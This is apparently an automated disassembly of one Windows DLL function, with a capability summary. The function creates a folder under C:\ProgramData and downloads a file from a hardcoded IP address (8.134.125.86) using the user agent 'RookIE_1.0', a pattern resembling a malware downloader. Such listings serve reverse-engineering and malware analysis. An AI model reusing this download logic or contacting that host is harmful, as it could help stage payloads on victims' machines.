Function at 0x180006ca0
Capabilities:
Create directory
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x660]
sub rsp, 0x760
lea rcx, [rbp + 0x30]
call fcn.1800031d0
nop
lea rcx, [rbp - 0x10]
call fcn.1800031d0
nop
xor r14d, r14d
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
lea r8d, [r14 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x30]
call fcn.180009410
nop
lea r8d, [r14 + 1]
lea rdx, [0x18004bed8]
lea rcx, [rbp - 0x30]
call fcn.18000ba60
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rbp - 0x50]
call fcn.18000ba60
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8d, [r14 + 1]
lea rdx, [0x18004bed8]
lea rcx, [rbp - 0x70]
call fcn.18000ba60
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rsp + 0x70]
call fcn.18000ba60
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8d, [r14 + 4]
lea rdx, str..txt
lea rcx, [rsp + 0x50]
call fcn.18000ba60
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180006e97
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006e92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800072ff
call fcn.180016df8
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180006eec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ee7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007305
call fcn.180016df8
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x180006f3e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000730b
call fcn.180016df8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x180006f8f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007311
call fcn.180016df8
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x180006fe0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006fdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007317
call fcn.180016df8
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
lea rdx, [rsp + 0x30]
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x48]
cmp r11, 8
cmovae rdx, r10
mov r9, qword [rsp + 0x40]
test r9, r9
je 0x180007048
lea rcx, [r9 - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rdx + rax*2]
cmp word [r8], 0x5c
je 0x180007040
nop
cmp r8, rdx
je 0x180007048
sub r8, 2
cmp word [r8], 0x5c
jne 0x180007030
sub r8, rdx
sar r8, 1
jmp 0x18000704f
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 7
cmp r9, r8
cmovb r8, r9
lea rdx, [rsp + 0x30]
cmp r11, 8
cmovae rdx, r10
lea rcx, [rbp + 0x10]
call fcn.180009410
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x1800070d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800070cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000731d
call fcn.180016df8
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae r8, qword [rsp + 0x30]
lea rdx, [0x18004beec]
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rbp + 0x50]
mov edx, 0x104
lea rcx, [0x1800570a0]
call fcn.180021e00
mov dword [rbp + 0x680], 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1800071fe
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__8.134.125.86_wj_output.txt
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x1800071f4
lea rdx, [0x18004bcf0]
lea rcx, [rbp + 0x50]
call fcn.1800226b4
mov rdi, rax
test rax, rax
je 0x1800071eb
lea r9, [rbp + 0x680]
mov r8d, 0x400
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800071e3
mov eax, dword [rbp + 0x680]
test eax, eax
je 0x1800071e3
mov r8d, eax
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x260]
call fcn.180022544
lea r9, [rbp + 0x680]
mov r8d, 0x400
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1800071a1
mov rcx, rdi
call fcn.1800217d0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180007240
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000723b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007323
call fcn.180016df8
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x180007294
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000728f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007329
call fcn.180016df8
mov qword [rbp], r14
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r14w
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x1800072e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800072dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800072f9
call fcn.180016df8
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
int3
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
int3